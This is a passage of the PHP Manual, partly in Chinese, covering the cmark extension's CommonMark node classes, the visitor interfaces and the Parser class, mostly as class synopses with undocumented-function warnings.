public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


BulletList concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\BulletList extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* 属性 */
public bool $tight;
public int $delimiter;
/* Constructor */
public __construct()
public __construct(int $tight)
public __construct(int $tight, int $delimiter)
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

Table of Contents

  • CommonMark\Node\BulletList::__construct — BulletList Construction

User Contributed Notes

There are no user contributed notes for this page.


BulletList Construction

  • ? CommonMark\Node\BulletList
  • CommonMark\Node\OrderedList ?
  • PHP Manual
  • CommonMark\Node\BulletList
  • BulletList Construction

CommonMark\Node\BulletList::__construct

(cmark >= 1.0.0)

CommonMark\Node\BulletList::__construct — BulletList Construction

说明

public CommonMark\Node\BulletList::__construct()
public CommonMark\Node\BulletList::__construct(int $tight)
public CommonMark\Node\BulletList::__construct(int $tight, int $delimiter)

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


OrderedList concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\OrderedList extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* 属性 */
public bool $tight;
public int $delimiter;
public int $start;
/* Constructor */
public __construct()
public __construct(int $tight)
public __construct(int $tight, int $delimiter)
public __construct(int $tight, int $delimiter, int $start)
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

Table of Contents

  • CommonMark\Node\OrderedList::__construct — OrderedList Construction

User Contributed Notes

There are no user contributed notes for this page.


OrderedList Construction

  • ? CommonMark\Node\OrderedList
  • CommonMark\Node\Item ?
  • PHP Manual
  • CommonMark\Node\OrderedList
  • OrderedList Construction

CommonMark\Node\OrderedList::__construct

(cmark >= 1.0.0)

CommonMark\Node\OrderedList::__construct — OrderedList Construction

说明

public CommonMark\Node\OrderedList::__construct()
public CommonMark\Node\OrderedList::__construct(int $tight)
public CommonMark\Node\OrderedList::__construct(int $tight, int $delimiter)
public CommonMark\Node\OrderedList::__construct(int $tight, int $delimiter, int $start)

Warning

本函数还未编写文档，仅有参数列表。

参数

tight

delimiter

start

User Contributed Notes

There are no user contributed notes for this page.


Item concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\Item extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


Text concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\Text extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* 属性 */
public ?string $literal;
/* Constructor */
public __construct()
public __construct(string $literal)
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

Table of Contents

  • CommonMark\Node\Text::__construct — Text Construction

User Contributed Notes

There are no user contributed notes for this page.


Text Construction

  • ? CommonMark\Node\Text
  • CommonMark\Node\Text\Strong ?
  • PHP Manual
  • CommonMark\Node\Text
  • Text Construction

CommonMark\Node\Text::__construct

(cmark >= 1.0.0)

CommonMark\Node\Text::__construct — Text Construction

说明

public CommonMark\Node\Text::__construct()
public CommonMark\Node\Text::__construct(string $literal)

Warning

本函数还未编写文档，仅有参数列表。

参数

literal

User Contributed Notes

There are no user contributed notes for this page.


Strong concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\Text\Strong extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


Emphasis concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\Text\Emphasis extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


ThematicBreak concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\ThematicBreak extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


SoftBreak concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\SoftBreak extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


LineBreak concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\LineBreak extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


Code concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\Code extends CommonMark\Node\Text implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
public ?string $literal;
/* Constructor */
public CommonMark\Node\Text::__construct()
public CommonMark\Node\Text::__construct(string $literal)
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


CodeBlock concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\CodeBlock extends CommonMark\Node\Text implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
public ?string $literal;
/* 属性 */
public ?string $fence;
/* Constructor */
public CommonMark\Node\Text::__construct()
public CommonMark\Node\Text::__construct(string $literal)
public __construct(string $fence, string $literal)
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

Table of Contents

  • CommonMark\Node\CodeBlock::__construct — CodeBlock Construction

User Contributed Notes

There are no user contributed notes for this page.


CodeBlock Construction

  • ? CommonMark\Node\CodeBlock
  • CommonMark\Node\HTMLBlock ?
  • PHP Manual
  • CommonMark\Node\CodeBlock
  • CodeBlock Construction

CommonMark\Node\CodeBlock::__construct

(cmark >= 1.0.0)

CommonMark\Node\CodeBlock::__construct — CodeBlock Construction

说明

public CommonMark\Node\CodeBlock::__construct(string $fence, string $literal)

Warning

本函数还未编写文档，仅有参数列表。

参数

fence

literal

User Contributed Notes

There are no user contributed notes for this page.


HTMLBlock concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\HTMLBlock extends CommonMark\Node\Text implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
public ?string $literal;
/* Constructor */
public CommonMark\Node\Text::__construct()
public CommonMark\Node\Text::__construct(string $literal)
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


HTMLInline concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\HTMLInline extends CommonMark\Node\Text implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
public ?string $literal;
/* Constructor */
public CommonMark\Node\Text::__construct()
public CommonMark\Node\Text::__construct(string $literal)
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


Image concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\Image extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* 属性 */
public ?string $url;
public ?string $title;
/* Constructor */
public __construct()
public __construct(string $url)
public __construct(string $url, string $title)
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

Table of Contents

  • CommonMark\Node\Image::__construct — Image Construction

User Contributed Notes

There are no user contributed notes for this page.


Image Construction

  • ? CommonMark\Node\Image
  • CommonMark\Node\Link ?
  • PHP Manual
  • CommonMark\Node\Image
  • Image Construction

CommonMark\Node\Image::__construct

(cmark >= 1.0.0)

CommonMark\Node\Image::__construct — Image Construction

说明

public CommonMark\Node\Image::__construct()
public CommonMark\Node\Image::__construct(string $url)
public CommonMark\Node\Image::__construct(string $url, string $title)

Warning

本函数还未编写文档，仅有参数列表。

参数

url

title

User Contributed Notes

There are no user contributed notes for this page.


Link concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\Link extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* 属性 */
public ?string $url;
public ?string $title;
/* Constructor */
public __construct()
public __construct(string $url)
public __construct(string $url, string $title)
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

Table of Contents

  • CommonMark\Node\Link::__construct — Link Construction

User Contributed Notes

There are no user contributed notes for this page.


Link Construction

  • ? CommonMark\Node\Link
  • CommonMark\Node\CustomBlock ?
  • PHP Manual
  • CommonMark\Node\Link
  • Link Construction

CommonMark\Node\Link::__construct

(cmark >= 1.0.0)

CommonMark\Node\Link::__construct — Link Construction

说明

public CommonMark\Node\Link::__construct()
public CommonMark\Node\Link::__construct(string $url)
public CommonMark\Node\Link::__construct(string $url, string $title)

Warning

本函数还未编写文档，仅有参数列表。

参数

url

title

User Contributed Notes

There are no user contributed notes for this page.


CustomBlock concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\CustomBlock extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* 属性 */
public ?string $onEnter;
public ?string $onLeave;
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


CustomInline concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\CustomInline extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* 属性 */
public ?string $onEnter;
public ?string $onLeave;
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


Abstract CommonMark\Node

(cmark >= 1.0.0)

简介

Represents an Abstract Node, this final abstract is not for direct use by the programmer.

类摘要

final abstract class CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* 属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* 方法 */
public appendChild(CommonMark\Node $child): CommonMark\Node
public prependChild(CommonMark\Node $child): CommonMark\Node
public insertAfter(CommonMark\Node $sibling): CommonMark\Node
public insertBefore(CommonMark\Node $sibling): CommonMark\Node
public replace(CommonMark\Node $target): CommonMark\Node
public unlink(): void
public accept(CommonMark\Interfaces\IVisitor $visitor): void
}

Table of Contents

  • CommonMark\Node::appendChild — AST Manipulation
  • CommonMark\Node::prependChild — AST Manipulation
  • CommonMark\Node::insertAfter — AST Manipulation
  • CommonMark\Node::insertBefore — AST Manipulation
  • CommonMark\Node::replace — AST Manipulation
  • CommonMark\Node::unlink — AST Manipulation
  • CommonMark\Node::accept — Visitation

User Contributed Notes

There are no user contributed notes for this page.


AST Manipulation

  • ? CommonMark\Node
  • CommonMark\Node::prependChild ?
  • PHP Manual
  • CommonMark\Node
  • AST Manipulation

CommonMark\Node::appendChild

(cmark >= 1.0.0)

CommonMark\Node::appendChild — AST Manipulation

说明

public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node

Warning

本函数还未编写文档，仅有参数列表。

参数

child

返回值

User Contributed Notes

There are no user contributed notes for this page.


AST Manipulation

  • ? CommonMark\Node::appendChild
  • CommonMark\Node::insertAfter ?
  • PHP Manual
  • CommonMark\Node
  • AST Manipulation

CommonMark\Node::prependChild

(cmark >= 1.0.0)

CommonMark\Node::prependChild — AST Manipulation

说明

public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node

Warning

本函数还未编写文档，仅有参数列表。

参数

child

返回值

User Contributed Notes

There are no user contributed notes for this page.


AST Manipulation

  • ? CommonMark\Node::prependChild
  • CommonMark\Node::insertBefore ?
  • PHP Manual
  • CommonMark\Node
  • AST Manipulation

CommonMark\Node::insertAfter

(cmark >= 1.0.0)

CommonMark\Node::insertAfter — AST Manipulation

说明

public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node

Warning

本函数还未编写文档，仅有参数列表。

参数

sibling

返回值

User Contributed Notes

There are no user contributed notes for this page.


AST Manipulation

  • ? CommonMark\Node::insertAfter
  • CommonMark\Node::replace ?
  • PHP Manual
  • CommonMark\Node
  • AST Manipulation

CommonMark\Node::insertBefore

(cmark >= 1.0.0)

CommonMark\Node::insertBefore — AST Manipulation

说明

public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node

Warning

本函数还未编写文档，仅有参数列表。

参数

sibling

返回值

User Contributed Notes

There are no user contributed notes for this page.


AST Manipulation

  • ? CommonMark\Node::insertBefore
  • CommonMark\Node::unlink ?
  • PHP Manual
  • CommonMark\Node
  • AST Manipulation

CommonMark\Node::replace

(cmark >= 1.0.0)

CommonMark\Node::replace — AST Manipulation

说明

public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node

Warning

本函数还未编写文档，仅有参数列表。

参数

target

返回值

User Contributed Notes

There are no user contributed notes for this page.


AST Manipulation

  • ? CommonMark\Node::replace
  • CommonMark\Node::accept ?
  • PHP Manual
  • CommonMark\Node
  • AST Manipulation

CommonMark\Node::unlink

(cmark >= 1.0.0)

CommonMark\Node::unlink — AST Manipulation

说明

public CommonMark\Node::unlink(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Visitation

  • ? CommonMark\Node::unlink
  • CommonMark\Interfaces\IVisitor ?
  • PHP Manual
  • CommonMark\Node
  • Visitation

CommonMark\Node::accept

(cmark >= 1.0.0)

CommonMark\Node::accept — Visitation

说明

public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void

参数

visitor

An object implementing CommonMark\Interfaces\IVisitor

参见

  • CommonMark\Interfaces\IVisitor::enter
  • CommonMark\Interfaces\IVisitor::leave

User Contributed Notes

There are no user contributed notes for this page.


The CommonMark\Interfaces\IVisitor interface

(cmark >= 1.0.0)

简介

类摘要

final class CommonMark\Interfaces\IVisitor {
/* 常量 */
const int Done;
const int Enter;
const int Leave;
/* 方法 */
abstract public enter(IVisitable $visitable): int|IVisitable|null
abstract public leave(IVisitable $visitable): int|IVisitable|null
}

Table of Contents

  • CommonMark\Interfaces\IVisitor::enter — Visitation
  • CommonMark\Interfaces\IVisitor::leave — Visitation

User Contributed Notes

There are no user contributed notes for this page.


Visitation

  • ? CommonMark\Interfaces\IVisitor
  • CommonMark\Interfaces\IVisitor::leave ?
  • PHP Manual
  • CommonMark\Interfaces\IVisitor
  • Visitation

CommonMark\Interfaces\IVisitor::enter

(cmark >= 1.0.0)

CommonMark\Interfaces\IVisitor::enter — Visitation

说明

abstract public CommonMark\Interfaces\IVisitor::enter(IVisitable $visitable): int|IVisitable|null

参数

visitable

The current CommonMark\Interfaces\IVisitable being entered

返回值

Returning CommonMark\Interfaces\IVisitor::Done will cause the backing iterator to exit.

Returning CommonMark\Interfaces\IVisitor::Enter will reset the backing iterator at entering the current IVisitable

Returning CommonMark\Interfaces\IVisitor::Leave will reset the backing iterator at exiting the current IVisitable

Returning an IVisitable will reset the backing iterator at entering the given IVisitable

Returning nothing will allow the backing iterator to continue

参见

  • CommonMark\Interfaces\IVisitable::accept

User Contributed Notes

There are no user contributed notes for this page.


Visitation

  • ? CommonMark\Interfaces\IVisitor::enter
  • CommonMark\Interfaces\IVisitable ?
  • PHP Manual
  • CommonMark\Interfaces\IVisitor
  • Visitation

CommonMark\Interfaces\IVisitor::leave

(cmark >= 1.0.0)

CommonMark\Interfaces\IVisitor::leave — Visitation

说明

abstract public CommonMark\Interfaces\IVisitor::leave(IVisitable $visitable): int|IVisitable|null

参数

visitable

The current CommonMark\Interfaces\IVisitable being exited

返回值

Returning CommonMark\Interfaces\IVisitor::Done will cause the backing iterator to exit.

Returning CommonMark\Interfaces\IVisitor::Enter will reset the backing iterator at entering the current IVisitable

Returning CommonMark\Interfaces\IVisitor::Leave will reset the backing iterator at exiting the current IVisitable

Returning an IVisitable will reset the backing iterator at exiting the given IVisitable

Returning nothing will allow the backing iterator to continue

参见

  • CommonMark\Interfaces\IVisitable::accept

User Contributed Notes

There are no user contributed notes for this page.


The CommonMark\Interfaces\IVisitable interface

(cmark >= 1.0.0)

简介

类摘要

final class CommonMark\Interfaces\IVisitable {
abstract public accept(CommonMark\Interfaces\IVisitor $visitor): void
}

Table of Contents

  • CommonMark\Interfaces\IVisitable::accept — Visitation

User Contributed Notes

There are no user contributed notes for this page.


Visitation

  • ? CommonMark\Interfaces\IVisitable
  • CommonMark\Parser ?
  • PHP Manual
  • CommonMark\Interfaces\IVisitable
  • Visitation

CommonMark\Interfaces\IVisitable::accept

(cmark >= 1.0.0)

CommonMark\Interfaces\IVisitable::accept — Visitation

说明

abstract public CommonMark\Interfaces\IVisitable::accept(CommonMark\Interfaces\IVisitor $visitor): void

参数

visitor

An object implementing CommonMark\Interfaces\IVisitor

参见

  • CommonMark\Interfaces\IVisitor::enter
  • CommonMark\Interfaces\IVisitor::leave

User Contributed Notes

There are no user contributed notes for this page.


The CommonMark\Parser class

(cmark >= 1.0.0)

简介

Provides an incremental parser as an alternative to the simple Parsing API function

类摘要

final class CommonMark\Parser {
/* Constructor */
public __construct(int $options = ?)
/* 方法 */
public parse(string $buffer): void
public finish(): CommonMark\Node
}

Table of Contents

  • CommonMark\Parser::__construct — Parsing
  • CommonMark\Parser::parse — Parsing
  • CommonMark\Parser::finish — Parsing

User Contributed Notes

There are no user contributed notes for this page.


Parsing

  • ? CommonMark\Parser
  • CommonMark\Parser::parse ?
  • PHP Manual
  • CommonMark\Parser
  • Parsing

CommonMark\Parser::__construct

(cmark >= 1.0.0)

CommonMark\Parser::__construct — Parsing

说明

public CommonMark\Parser::__construct(int $options = ?)

Warning

本函数还未编写文档，仅有参数列表。

参数

options

A mask of:

CommonMark\Parser\Normal (int)
CommonMark\Parser\Normalize (int)
CommonMark\Parser\ValidateUTF8 (int)
CommonMark\Parser\Smart (int)

